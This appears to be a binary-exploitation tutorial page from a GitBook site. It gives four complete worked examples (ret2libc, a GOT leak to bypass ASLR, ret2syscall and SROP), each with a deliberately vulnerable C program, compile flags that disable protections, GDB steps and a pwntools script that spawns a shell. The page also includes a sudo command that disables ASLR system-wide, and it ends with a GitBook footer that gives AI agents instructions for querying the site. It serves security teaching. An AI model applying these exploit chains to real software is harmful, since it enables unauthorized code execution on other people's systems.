> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/05.-return-oriented-programming/05.-examples.md).

# ROP 05 — Worked Examples

> Four complete exploits: C source, compile flags, GDB analysis, and full exploit script.

## Example Index

| #                                                    | Scenario        | Protections | Technique               |
| ---------------------------------------------------- | --------------- | ----------- | ----------------------- |
| [1](#example-1--basic-ret2libc-no-aslr-no-pie)       | Simple overflow | NX only     | ret2libc                |
| [2](#example-2--aslr-bypass-two-stage-leak--shell)   | ASLR enabled    | NX + ASLR   | ret2plt leak → ret2libc |
| [3](#example-3--ret2syscall-static-binary)           | Static binary   | NX only     | ret2syscall (execve)    |
| [4](#example-4--srop-sigreturn-oriented-programming) | Minimal gadgets | NX + ASLR   | SROP                    |

## Example 1 — Basic ret2libc, No ASLR, No PIE

**Protections:** NX enabled, no canary, no ASLR, no PIE. **Technique:** Direct ret2libc with fixed addresses.

### Vulnerable C Code

```c
// vuln1.c
#include <stdio.h>
#include <string.h>

void vuln() {
    char buf[64];
    gets(buf);   // unbounded read — classic overflow
}

int main() {
    puts("Enter input:");
    vuln();
    puts("Returned safely.");
    return 0;
}
```

### Compile

```bash
gcc vuln1.c -o vuln1 \
    -fno-stack-protector \   # no canary
    -no-pie                  # fixed code addresses
# NX is ON by default — gets compiled in

# Disable ASLR for this example:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```

### Analysis

```bash
checksec vuln1
# Stack: No canary
# NX: enabled
# PIE: disabled

# Find libc base (fixed, no ASLR)
ldd vuln1
# linux-vdso.so.1 => ...
# libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7a00000)

# Find system() and /bin/sh offsets in libc
python3 -c "
from pwn import *
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
print(hex(libc.symbols['system']))    # offset from libc base
print(hex(next(libc.search(b'/bin/sh'))))
"
```

### GDB Setup

```bash
gdb vuln1
(gdb) set disable-randomization on    # enforce no ASLR
(gdb) run <<< $(python3 -c "print('A'*80)")
# Should crash with RIP = 0x4141414141414141 (approximately at offset 72)

# Find exact offset with cyclic:
(gdb) run <<< $(python3 -c "from pwn import *; sys.stdout.buffer.write(cyclic(100))")
(gdb) x/gx $rsp     # read value at RSP after crash
# → 0x6161616161616166  (some cyclic bytes)
(gdb) python3 -c "from pwn import *; print(cyclic_find(0x6161616166))"
# → 72
```

### Exploit Script

```python
#!/usr/bin/env python3
# exploit1.py — ret2libc, no ASLR, no PIE
from pwn import *

elf  = ELF('./vuln1')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop  = ROP(elf)

OFFSET = 72

# Fixed addresses (ASLR off, no PIE)
LIBC_BASE = 0x7ffff7a00000   # from ldd output
system    = LIBC_BASE + libc.symbols['system']
bin_sh    = LIBC_BASE + next(libc.search(b'/bin/sh'))
pop_rdi   = rop.find_gadget(['pop rdi', 'ret'])[0]
ret       = rop.find_gadget(['ret'])[0]

log.info(f"system()   = {hex(system)}")
log.info(f"/bin/sh    = {hex(bin_sh)}")
log.info(f"pop rdi    = {hex(pop_rdi)}")

# Build payload
payload  = b'A' * OFFSET
payload += p64(ret)        # 16-byte RSP alignment for system()
payload += p64(pop_rdi)    # set rdi = "/bin/sh"
payload += p64(bin_sh)
payload += p64(system)     # call system("/bin/sh")

# Send
io = process('./vuln1')
io.recvline()              # "Enter input:"
io.sendline(payload)
io.interactive()           # get shell
```

### Expected Output

```
[+] Starting local process './vuln1': pid 12345
[*] system()   = 0x7ffff7a31420
[*] /bin/sh    = 0x7ffff7b8f143
[*] pop rdi    = 0x401233
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ 
```

***

## Example 2 — ASLR Bypass: Two-Stage Leak + Shell

**Protections:** NX + ASLR enabled. No PIE (binary code addresses fixed). **Technique:** Stage 1 leaks libc via puts(GOT), Stage 2 calls system().

### Vulnerable C Code

```c
// vuln2.c
#include <stdio.h>
#include <unistd.h>

void vuln() {
    char buf[64];
    read(0, buf, 256);   // reads 256 into 64-byte buffer
}

int main() {
    while (1) {
        puts("Send input:");
        vuln();
    }
    return 0;
}
```

### Compile

```bash
gcc vuln2.c -o vuln2 \
    -fno-stack-protector \
    -no-pie
# ASLR remains enabled (default)
# Note: while(1) lets us send two payloads — needed for 2-stage
```

### Analysis

```bash
checksec vuln2
# NX: enabled
# PIE: disabled    ← binary .text is at fixed address
# ASLR: enabled    ← libc is at random address

# PLT and GOT are at fixed addresses (no PIE):
objdump -d vuln2 | grep "<puts@plt>"
objdump -R vuln2 | grep puts    # GOT entry address
```

### Exploit Script

```python
#!/usr/bin/env python3
# exploit2.py — 2-stage: leak libc → shell
from pwn import *

elf  = ELF('./vuln2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop  = ROP(elf)

OFFSET  = 72

pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret     = rop.find_gadget(['ret'])[0]

io = process('./vuln2')

# ════════════════════════════════════════════════════════════════
# STAGE 1: Leak puts() runtime address from GOT
# Chain: puts(GOT['puts']) → main()
# ════════════════════════════════════════════════════════════════

stage1  = b'A' * OFFSET
stage1 += p64(pop_rdi)
stage1 += p64(elf.got['puts'])       # argument: address of GOT slot
stage1 += p64(elf.plt['puts'])       # call puts(GOT['puts'])
stage1 += p64(elf.symbols['main'])   # return to main for stage 2

io.recvuntil(b'Send input:\n')
io.send(stage1)                      # use send() not sendline() — no newline

# Read leaked address
io.recvuntil(b'Send input:\n')       # skip "Send input:" from main
leaked_line = io.recvuntil(b'Send input:\n', drop=True)
leaked_puts = u64(leaked_line[:6].ljust(8, b'\x00'))

libc.address = leaked_puts - libc.symbols['puts']
log.success(f"puts@libc  = {hex(leaked_puts)}")
log.success(f"libc base  = {hex(libc.address)}")

# ════════════════════════════════════════════════════════════════
# STAGE 2: Call system("/bin/sh") with real libc addresses
# ════════════════════════════════════════════════════════════════

system = libc.symbols['system']    # auto-resolved via libc.address
bin_sh = next(libc.search(b'/bin/sh'))

log.success(f"system()   = {hex(system)}")
log.success(f"/bin/sh    = {hex(bin_sh)}")

stage2  = b'A' * OFFSET
stage2 += p64(ret)
stage2 += p64(pop_rdi)
stage2 += p64(bin_sh)
stage2 += p64(system)

io.send(stage2)
io.interactive()
```

### Debugging Tips

```bash
# Run exploit under GDB to inspect leak:
python3 -c "
from pwn import *
io = gdb.debug('./vuln2', gdbscript='''
    b *vuln+50
    c
''')
"
# In GDB after break:
# x/gx $rsp        → see gadget addresses
# c                 → continue, observe leaked value
```

***

## Example 3 — ret2syscall, Static Binary

**Protections:** NX only (no libc to ret2). **Technique:** ROP chain to invoke execve("/bin/sh", NULL, NULL) via syscall.

### Vulnerable C Code

```c
// vuln3.c
#include <unistd.h>

int main() {
    char buf[40];
    read(0, buf, 200);
    return 0;
}
```

### Compile

```bash
gcc vuln3.c -o vuln3 \
    -static \              # link libc statically (loads of gadgets!)
    -fno-stack-protector \
    -no-pie
```

### Analysis

```bash
checksec vuln3
# NX: enabled
# PIE: disabled
# Statically linked → no shared libc → must use syscall

# Find "/bin/sh" (not in static binary by default — must plant it)
ROPgadget --binary vuln3 --string "/bin/sh"   # likely not found

# Find gadgets:
ROPgadget --binary vuln3 --only "pop rax|pop rdi|pop rsi|pop rdx|syscall"
```

### Exploit Script

```python
#!/usr/bin/env python3
# exploit3.py — ret2syscall via execve, static binary
from pwn import *

context.arch = 'amd64'
elf = ELF('./vuln3')
rop = ROP(elf)

OFFSET = 48   # 40 + 8

# ── Gadgets ──────────────────────────────────────────────────────────────────
pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
pop_rdx = rop.find_gadget(['pop rdx', 'ret'])[0]
syscall = rop.find_gadget(['syscall', 'ret'])[0]

# Write gadget to plant "/bin/sh" in .bss
# Look for: mov qword ptr [rdi], rax ; ret
try:
    write_mem = next(elf.search(asm('mov qword ptr [rdi], rax', arch='amd64') + b'\xc3'))
except StopIteration:
    log.warning("No mov [rdi],rax gadget — trying alternative")
    write_mem = rop.find_gadget(['mov [rdi], rax', 'ret'])[0]

bss = elf.bss() + 0x200
log.info(f"bss target = {hex(bss)}")
log.info(f"syscall    = {hex(syscall)}")

# ── Chain ─────────────────────────────────────────────────────────────────────
# Part 1: Write "/bin/sh\x00" to .bss
chain  = b'A' * OFFSET

chain += p64(pop_rdi) + p64(bss)
chain += p64(pop_rax) + p64(u64(b'/bin/sh\x00'))
chain += p64(write_mem)                     # *bss = "/bin/sh\x00"

# Part 2: execve(bss, 0, 0)
chain += p64(pop_rax) + p64(59)             # SYS_execve
chain += p64(pop_rdi) + p64(bss)            # arg1 = "/bin/sh"
chain += p64(pop_rsi) + p64(0)              # arg2 = NULL
chain += p64(pop_rdx) + p64(0)              # arg3 = NULL
chain += p64(syscall)

# ── Send ──────────────────────────────────────────────────────────────────────
io = process('./vuln3')
io.send(chain)
io.interactive()
```

### Verify in GDB

```bash
gdb vuln3
(gdb) b *main+50
(gdb) run < <(python3 exploit3.py NOIO)   # generate payload only, no interactive

# After break, step through chain:
(gdb) si    # follow first gadget
(gdb) i r rax rdi rsi rdx    # check register values
```

***

## Example 4 — SROP: Sigreturn-Oriented Programming

**Protections:** NX + ASLR. Very few gadgets (minimal binary). **Technique:** Trigger `sigreturn` to load a full register frame in one shot.

### Background

`sigreturn` is a syscall (number 15) the kernel uses to restore register state after a signal handler returns. It reads a `sigcontext` structure from the stack and loads all registers from it — including RIP. An attacker can fake this frame to set ALL registers simultaneously with just two gadgets: `syscall` and `pop rax` (or just `syscall` twice).

### Vulnerable C Code

```c
// vuln4.c — minimal binary, almost no gadgets
#include <unistd.h>

void _start() {
    char buf[128];
    read(0, buf, 512);   // overflow
    // No exit, no return — just read and crash
}
```

### Compile

```bash
gcc vuln4.c -o vuln4 \
    -static \
    -fno-stack-protector \
    -nostartfiles \        # truly minimal — only our code
    -no-pie
```

### Analysis

```bash
ROPgadget --binary vuln4 --rop
# Minimal output — maybe 5-10 gadgets total
# Key ones we need:
#   syscall ; ret
#   pop rax ; ret    (or just use two syscalls)
```

### Exploit Script

```python
#!/usr/bin/env python3
# exploit4.py — SROP
from pwn import *

context.arch   = 'amd64'
context.os     = 'linux'

elf    = ELF('./vuln4')
rop    = ROP(elf)

OFFSET = 136   # 128 buf + 8 saved rbp

# ── Gadgets — minimal requirements ───────────────────────────────────────────
syscall = rop.find_gadget(['syscall', 'ret'])[0]    # execute syscalls
pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]   # set rax = syscall number

# ── Plant "/bin/sh" in .bss ───────────────────────────────────────────────────
# First: read(0, bss, 8) to write "/bin/sh\x00" there
# Use SROP itself to call read() first!
bss = elf.bss() + 0x200

# SROP frame for read(0, bss, 8) — setup phase
read_frame          = SigreturnFrame()
read_frame.rax      = constants.SYS_read
read_frame.rdi      = 0           # stdin
read_frame.rsi      = bss         # destination
read_frame.rdx      = 8           # 8 bytes
read_frame.rsp      = bss + 8     # after read() resolves, RSP continues here
read_frame.rip      = syscall     # execute read syscall

# SROP frame for execve("/bin/sh", 0, 0) — final payload
exec_frame          = SigreturnFrame()
exec_frame.rax      = constants.SYS_execve
exec_frame.rdi      = bss         # "/bin/sh" (planted by read)
exec_frame.rsi      = 0
exec_frame.rdx      = 0
exec_frame.rip      = syscall

# ── Stage 1 payload: trigger sigreturn → call read() ─────────────────────────
stage1  = b'A' * OFFSET
stage1 += p64(pop_rax) + p64(constants.SYS_rt_sigreturn)  # rax = 15
stage1 += p64(syscall)                                      # sigreturn!
stage1 += bytes(read_frame)                                  # register frame

# ── Stage 2 payload: written to bss by read() above ──────────────────────────
# After read() runs, RSP points to bss+8, continues with exec_frame chain
stage2  = b'/bin/sh\x00'       # plants the string
# At bss+8, we need another sigreturn trigger:
stage2 += p64(pop_rax) + p64(constants.SYS_rt_sigreturn)
stage2 += p64(syscall)
stage2 += bytes(exec_frame)

# ── Send ──────────────────────────────────────────────────────────────────────
io = process('./vuln4')
io.send(stage1)     # triggers sigreturn → read()
io.send(stage2)     # read() writes this to bss
                    # then RSP lands in bss → triggers exec_frame
io.interactive()
```

### SROP Frame Visualization

```
Stack when sigreturn executes:
┌────────────────────────────┐  ← RSP (points here)
│  uc_flags                  │
│  &uc                       │
│  uc_stack.ss_sp            │
│  uc_stack.ss_flags         │
│  uc_stack.ss_size          │
│  r8  ← attacker sets       │
│  r9  ← attacker sets       │
│  r10 ← attacker sets       │
│  r11 ← attacker sets       │
│  r12 ← attacker sets       │
│  r13 ← attacker sets       │
│  r14 ← attacker sets       │
│  r15 ← attacker sets       │
│  rdi = 0 (/bin/sh ptr)     │ ← arg1
│  rsi = 0 (NULL)            │ ← arg2
│  rbp                       │
│  rbx                       │
│  rdx = 0 (NULL)            │ ← arg3
│  rax = 59 (SYS_execve)     │ ← syscall number
│  rcx                       │
│  rsp (restored)            │
│  rip = syscall gadget      │ ← next instruction after sigreturn
│  cs, gs, fs                │
│  eflags                    │
└────────────────────────────┘
```

***

## Running All Examples

```bash
# Quick setup script:
#!/bin/bash
# Disable ASLR for examples 1, 3, 4
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

# Build all
gcc vuln1.c -o vuln1 -fno-stack-protector -no-pie
gcc vuln2.c -o vuln2 -fno-stack-protector -no-pie
gcc vuln3.c -o vuln3 -static -fno-stack-protector -no-pie
gcc vuln4.c -o vuln4 -static -fno-stack-protector -nostartfiles -no-pie

# Run exploits
python3 exploit1.py
python3 exploit2.py
python3 exploit3.py
python3 exploit4.py
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/05.-return-oriented-programming/05.-examples.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
